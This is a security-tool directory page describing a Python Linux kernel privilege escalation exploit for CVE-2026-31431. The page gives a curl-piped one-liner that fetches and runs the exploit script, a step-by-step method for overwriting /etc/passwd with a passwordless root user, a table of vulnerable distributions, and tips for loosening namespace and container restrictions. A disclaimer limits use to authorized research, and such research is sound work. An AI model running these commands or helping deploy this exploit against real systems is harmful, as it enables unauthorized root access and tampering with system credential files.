Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/guiimoraes/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Python implementation of a Linux kernel local privilege escalation exploit for CVE-2026-31431, leveraging xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW to overwrite /etc/passwd and gain root.

View Repository
384 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CopyFail2 exploit demo

CopyFail2 (CVE-2026-31431) - Python Implementation

Python port of the CopyFail2 kernel exploit leveraging xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path for unprivileged Linux local privilege escalation.

Replaces a nologin/false entry in /etc/passwd with a passwordless uid-0 user and drops into a root shell via su.

Vulnerability

The kernel bug resides in the UDP splice path used by xfrm ESP-in-UDP encapsulation. splice() into a UDP socket with MSG_SPLICE_PAGES causes pages to be mapped into the receiver's page cache without triggering copy-on-write. This allows writing into any file currently mapped in the page cache, even when opened read-only.

  • Original C implementation: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Upstream fix: netdev/net.git

Requirements

  • Linux kernel >= 6.5 (MSG_SPLICE_PAGES UDP support)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN or the ability to create user namespaces

Which version to use

This repo provides two variants. Both produce the same result; pick based on your constraints.

Quick start (optimized)

root@kitploit:~
# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Saved file
python3 exploit.py

# Revert changes
python3 exploit.py --clean

Quick start (raw/reference)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

On Ubuntu with apparmor_restrict_unprivileged_userns enabled, save the file first and run from disk; the pipe mode skips the AppArmor bypass dance.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

How it works

  1. Brute-forces an AES-GCM IV whose keystream byte XORs the original /etc/passwd byte into the desired value.
  2. Installs a local xfrm ESP-in-UDP state on 127.0.0.1:4500.
  3. Crafts an attacker-controlled backing file containing the forged ESP header and ICV.
  4. splice()s three ranges (ESP header, target byte from /etc/passwd, ICV) into a pipe.
  5. splice()s the pipe into the UDP socket, triggering the kernel bug and writing the byte into the page cache.
  6. Repeats for every differing byte to overwrite a nologin/false line with sick::0:0:...:/:/bin/bash.
  7. su - sick drops into root (PAM nullok accepts empty password).

Tested

Troubleshooting

cannot acquire CAP_NET_ADMIN

Your kernel may have kernel.unprivileged_userns_clone=0. Enable it:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

If running inside Docker, start the container with --privileged or --cap-add=SYS_ADMIN.

Credits

  • Hyunwoo Kim (imv4bel) and Kuan-Ting Chen — discovery and upstream fix
  • Steffen Klassert — IPsec maintainer, posted the fix
  • Brad Spengler / grsecurity — coined "copyfail-class"
  • Theori / Xint — original Copy Fail (CVE-2026-31431)
  • Original C exploit by 0xdeadbeefnetwork
  • Python exploit by guiimoraes

Disclaimer

This tool is provided for authorized security research and educational purposes only. Do not use against systems you do not own or have explicit permission to test. The authors assume no liability for misuse or damage caused by this software.

Download Tool
FileDescriptionSpeedUse when
exploit.pyOptimized — reuses xfrm state/sockets/pipe across mutations, batches 2 consecutive bytes per round, active polling instead of fixed sleep.~3–8 s for a 99-byte lineDefault choice. Fast, stable, tested on multiple distros.
exploit_raw.pyReference — closest to the original C code. Recreates xfrm state, sockets, pipe and temp file for every single byte, fixed 200 ms sleep per mutation.~30–40 s for a 99-byte lineUse if you want the simplest possible code path for auditing, or if the optimized version misbehaves on a specific kernel build.
DistroKernelResult
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericnot vuln